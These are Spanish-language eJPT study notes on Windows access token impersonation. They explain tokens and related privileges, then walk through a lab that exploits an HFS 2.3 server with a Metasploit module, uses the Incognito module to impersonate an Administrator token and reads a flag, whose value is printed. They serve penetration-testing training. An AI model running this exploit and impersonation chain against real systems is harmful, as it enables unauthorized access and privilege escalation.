> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/windows/escalada-de-privilegios-en-windows/suplantacion-del-token-de-acceso.md).

# Suplantación del token de acceso

## 🪪 *Windows Access Tokens* (Tokens de acceso en Windows)

* Los **tokens de acceso de Windows** son un elemento fundamental del proceso de autenticación en Windows, y son creados y gestionados por el servicio **LSASS** (*Local Security Authority Subsystem Service*).
* Un **token de acceso** se encarga de identificar y describir el **contexto de seguridad** de un proceso o hilo (thread) en ejecución en el sistema.
* En términos simples, un token de acceso puede considerarse como una especie de **llave temporal**, similar a una cookie web, que proporciona acceso a recursos del sistema o de red **sin necesidad de ingresar credenciales cada vez** que se inicia un proceso o se accede a un recurso.

***

## 🔄 ¿Cuándo se crean?

* Los tokens de acceso se generan cada vez que un usuario **se autentica correctamente**, y esto lo realiza el proceso `winlogon.exe`.
* Este token contiene la identidad del usuario y sus privilegios, y se adjunta al proceso `userinit.exe`.
* A partir de ahí, **todos los procesos hijos iniciados por el usuario heredarán una copia del token de acceso** de su creador y se ejecutarán bajo los mismos privilegios.

***

## 🔐 Niveles de seguridad de los tokens

Los tokens de acceso se clasifican según el **nivel de seguridad** asignado, el cual determina los privilegios disponibles:

#### Tipos de tokens:

| Tipo de Token         | Descripción                                                                                                                                                               |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Impersonate Token** | Se crean como resultado de un inicio de sesión **no interactivo** (como servicios del sistema o autenticación de dominio). Solo pueden ser usados **localmente**.         |
| **Delegate Token**    | Se crean mediante un inicio de sesión **interactivo** (como login físico o por RDP). Pueden ser usados tanto **localmente como remotamente**. **Son los más peligrosos.** |

***

## 🧠 Privilegios de Windows (relacionados con suplantación)

Para **suplantar tokens de acceso y escalar privilegios**, se deben tener ciertos privilegios asignados al usuario comprometido inicialmente:

| Privilegio               | Descripción                                                              |
| ------------------------ | ------------------------------------------------------------------------ |
| `SeAssignPrimaryToken`   | Permite asignar un token a un proceso hijo para suplantar usuarios.      |
| `SeCreateToken`          | Permite crear tokens arbitrarios con privilegios administrativos.        |
| `SeImpersonatePrivilege` | Permite ejecutar procesos bajo el contexto de seguridad de otro usuario. |

***

## 🧰 Módulo *Incognito* de Meterpreter

* **Incognito** es un módulo integrado en Meterpreter (originalmente era una herramienta aparte) que permite **suplantar tokens de usuarios** después de una explotación exitosa.

#### Funciones del módulo Incognito:

* Mostrar los tokens disponibles para suplantar.
* Suplantar un token específico.
* Ejecutar procesos con los privilegios del token suplantado.

***

## 🧪Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/yLwJcTMTJu1Mn2Lu2QdP" alt=""><figcaption></figcaption></figure>

**Paso 2:** Ejecute un escaneo de Nmap contra el objetivo.

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/8bJhlqhfCr7XGDP10vpH" alt=""><figcaption></figcaption></figure>

**Paso 3:** Hemos detectado que varios puertos están abiertos. Ejecutaremos nmap de nuevo para determinar la versión del puerto 80.

**Dominio:**

```
nmap -sV -p 80 demo.ine.local
```

<figure><img src="/files/6cl9w0wsUF44Ipk5UQcJ" alt=""><figcaption></figcaption></figure>

**Paso 4:** Buscaremos el módulo de explotación para hfs 2.3 usando searchsploit.

**Dominio:**

```
searchsploit hfs
```

<figure><img src="/files/k6y6gfU759wTiq1J1fZS" alt=""><figcaption></figcaption></figure>

**Paso 5:** Existe un módulo de Metasploit para el servidor hfs. Lo usaremos para explotar el objetivo.

**Comandos:**

```
msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS demo.ine.local
exploit 
getuid 
```

<figure><img src="/files/ye8MEpo7Yngt1OCsmhgr" alt=""><figcaption></figcaption></figure>

Hemos explotado con éxito un servidor hfs y lo estamos ejecutando como un servicio local.

**Paso 6:** Intentar leer la bandera, que se encuentra en C:\Users\Administrator\Desktop\flag.txt

**Dominio:**

```
cat C:\\Users\\Administrator\\Desktop\\flag.txt
```

<figure><img src="/files/RgHgmBBgb2IbpRgeyVEG" alt=""><figcaption></figcaption></figure>

**Paso 7:** No podemos leer la bandera con el privilegio actual. La bandera se encuentra en la carpeta del Escritorio del Administrador. El usuario tiene el siguiente permiso: `SeImpersonatePrivilege.`Cargue el complemento de incógnito y verifique todos los tokens disponibles.

**Dominio:**

```
load incognito
list_tokens -u
```

<figure><img src="/files/CPj8ApzSCMNJBWvqs6dM" alt=""><figcaption></figcaption></figure>

**Paso 8:** Observamos que el token de administrador está disponible. Imita el token de administrador y lee la bandera.

**Dominio:**

```
impersonate_token ATTACKDEFENSE\\Administrator 
getuid
cat C:\\Users\\Administrator\\Desktop\\flag.txt
```

<figure><img src="/files/jIS3NhIAWC2GjugftSxB" alt=""><figcaption></figcaption></figure>

Esto nos reveló la bandera:

Bandera: x28c832a39730b7d46d6c38f1ea18e12

#### Conclusión

En este laboratorio, aprendimos sobre el proceso de suplantación de tokens de acceso en Windows con el módulo Incognito integrado de meterpreter.
